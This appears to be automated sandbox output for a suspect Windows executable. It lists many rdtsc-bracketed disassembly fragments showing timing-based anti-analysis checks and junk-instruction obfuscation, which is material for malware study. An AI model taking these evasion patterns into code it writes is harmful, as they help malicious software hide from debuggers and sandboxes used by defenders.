Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FA98 second address: 60FA9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613842 second address: 613856 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jns 00007F93256ABCB6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613856 second address: 61386B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9324C341D1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61386B second address: 61386F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612B07 second address: 612B11 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9324C341C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612B11 second address: 612B16 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6157F3 second address: 615898 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F9324C341D4h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F9324C341C8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b call 00007F9324C341D2h 0x00000030 cld 0x00000031 pop ebx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F9324C341C8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 0000001Bh 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e add dword ptr [ebp+1246779Eh], esi 0x00000054 push 00000000h 0x00000056 xchg eax, esi 0x00000057 jo 00007F9324C341F3h 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F9324C341D2h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616890 second address: 6168F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 mov di, bx 0x0000000a push 00000000h 0x0000000c or dword ptr [ebp+1247D6C0h], eax 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F93256ABCB8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov di, cx 0x00000031 mov dword ptr [ebp+122D2322h], ebx 0x00000037 mov bx, DBEEh 0x0000003b xchg eax, esi 0x0000003c je 00007F93256ABCBCh 0x00000042 pushad 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 push edi 0x00000046 pop edi 0x00000047 popad 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F93256ABCC1h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6168F2 second address: 61690C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9324C341D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617901 second address: 61791B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F93256ABCC6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61791B second address: 61791F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61791F second address: 617967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F93256ABCBDh 0x0000000e nop 0x0000000f clc 0x00000010 push 00000000h 0x00000012 jmp 00007F93256ABCC8h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F93256ABCBDh 0x00000022 push edx 0x00000023 pop edx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615AA2 second address: 615AA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616AD9 second address: 616ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619834 second address: 61983A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614A56 second address: 614A5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61983A second address: 619869 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9324C341C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D38D9h], esi 0x00000013 push 00000000h 0x00000015 sub dword ptr [ebp+122D2332h], ecx 0x0000001b push 00000000h 0x0000001d mov bx, ax 0x00000020 xchg eax, esi 0x00000021 ja 00007F9324C341D2h 0x00000027 jnl 00007F9324C341CCh 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A8B0 second address: 61A8B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A8B5 second address: 61A913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b jmp 00007F9324C341D7h 0x00000010 pop ecx 0x00000011 nop 0x00000012 sub ebx, 22E6C3BEh 0x00000018 mov ebx, dword ptr [ebp+122D18FAh] 0x0000001e push 00000000h 0x00000020 mov ebx, edx 0x00000022 push 00000000h 0x00000024 add edi, dword ptr [ebp+122D3A3Ah] 0x0000002a push eax 0x0000002b pushad 0x0000002c jbe 00007F9324C341DCh 0x00000032 jmp 00007F9324C341D6h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6199D2 second address: 619A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F93256ABCBBh 0x00000008 jo 00007F93256ABCB6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F93256ABCB8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov bx, dx 0x0000002f push dword ptr fs:[00000000h] 0x00000036 push edx 0x00000037 pop edi 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f add bh, FFFFFFD7h 0x00000042 mov eax, dword ptr [ebp+122D0E99h] 0x00000048 jmp 00007F93256ABCC3h 0x0000004d mov edi, 59B35B4Fh 0x00000052 push FFFFFFFFh 0x00000054 sub ebx, dword ptr [ebp+122D363Fh] 0x0000005a jmp 00007F93256ABCC9h 0x0000005f push eax 0x00000060 push eax 0x00000061 pushad 0x00000062 push edi 0x00000063 pop edi 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A913 second address: 61A917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B86A second address: 61B86E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61AA2B second address: 61AA31 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B86E second address: 61B872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61AA31 second address: 61AA37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BAC2 second address: 61BACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F93256ABCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6BB7 second address: 5B6BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9324C341D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625221 second address: 625227 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8687 second address: 5B868D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62AB1D second address: 62AB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F93256ABCC0h 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F93256ABCBCh 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jnp 00007F93256ABCB6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C207 second address: 62C20D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C20D second address: 62C211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E25E second address: 62E263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E367 second address: 62E37E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F93256ABCB8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jng 00007F93256ABCBEh 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E44D second address: 62E456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E564 second address: 62E568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E568 second address: 62E57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e js 00007F9324C341C6h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E57D second address: 62E59C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E59C second address: 62E5BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E5BC second address: 62E5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E5CC second address: 62E5D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E5D2 second address: 62E5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E5D6 second address: 62E5DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63379D second address: 6337B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F93256ABCC6h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6337B9 second address: 6337BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6337BD second address: 6337DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnl 00007F93256ABCB6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jno 00007F93256ABCB6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6337DD second address: 6337E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633DD4 second address: 633DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F93256ABCB6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633DDF second address: 633DE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633DE4 second address: 633E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F93256ABCBFh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F93256ABCC8h 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633E1D second address: 633E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633E23 second address: 633E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634140 second address: 634149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634149 second address: 634156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F93256ABCB6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634156 second address: 634165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F9324C341C6h 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634415 second address: 63441F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F93256ABCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63441F second address: 634423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634423 second address: 63442E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6346F1 second address: 6346F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637909 second address: 637913 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F93256ABCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637913 second address: 637918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637918 second address: 63793A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F93256ABCC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63793A second address: 63793E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63793E second address: 637942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637942 second address: 637950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F9324C341C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA168 second address: 5BA16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA16E second address: 5BA172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA172 second address: 5BA17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA17F second address: 5BA189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9324C341C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA189 second address: 5BA1AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F93256ABCBEh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA1AE second address: 5BA1B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6018F6 second address: 6018FC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601DC6 second address: 44FD31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F9324C341C8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push dword ptr [ebp+122D01ADh] 0x00000028 call dword ptr [ebp+122D18EBh] 0x0000002e pushad 0x0000002f mov dword ptr [ebp+122D3669h], ebx 0x00000035 xor eax, eax 0x00000037 or dword ptr [ebp+122D18D7h], edx 0x0000003d add dword ptr [ebp+122D18D7h], esi 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 sub dword ptr [ebp+122D19B6h], ebx 0x0000004d mov dword ptr [ebp+122D3ACEh], eax 0x00000053 clc 0x00000054 mov esi, 0000003Ch 0x00000059 jmp 00007F9324C341D2h 0x0000005e cmc 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 sub dword ptr [ebp+122D18D7h], eax 0x00000069 lodsw 0x0000006b jnc 00007F9324C341CCh 0x00000071 jng 00007F9324C341CCh 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b add dword ptr [ebp+122D38D3h], edi 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 pushad 0x00000086 mov edx, dword ptr [ebp+122D3AEEh] 0x0000008c movsx esi, ax 0x0000008f popad 0x00000090 push eax 0x00000091 push eax 0x00000092 push edx 0x00000093 push ebx 0x00000094 pushad 0x00000095 popad 0x00000096 pop ebx 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601E79 second address: 601E7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601E7F second address: 601E89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9324C341C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601F62 second address: 601F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60206C second address: 602071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602271 second address: 602279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6028EC second address: 60294D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007F9324C341D4h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 jbe 00007F9324C341C8h 0x0000001b push edx 0x0000001c jmp 00007F9324C341D7h 0x00000021 pop edx 0x00000022 popad 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F9324C341D1h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60294D second address: 602953 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6029E2 second address: 602A0E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9324C341C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D2322h], ecx 0x00000013 lea eax, dword ptr [ebp+12485547h] 0x00000019 mov edi, dword ptr [ebp+122D39BAh] 0x0000001f push eax 0x00000020 jl 00007F9324C341E5h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602A0E second address: 602A68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push ebx 0x0000000d jns 00007F93256ABCB9h 0x00000013 pop ecx 0x00000014 lea eax, dword ptr [ebp+12485503h] 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F93256ABCB8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D3583h], ecx 0x0000003a nop 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f pop eax 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602A68 second address: 602A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
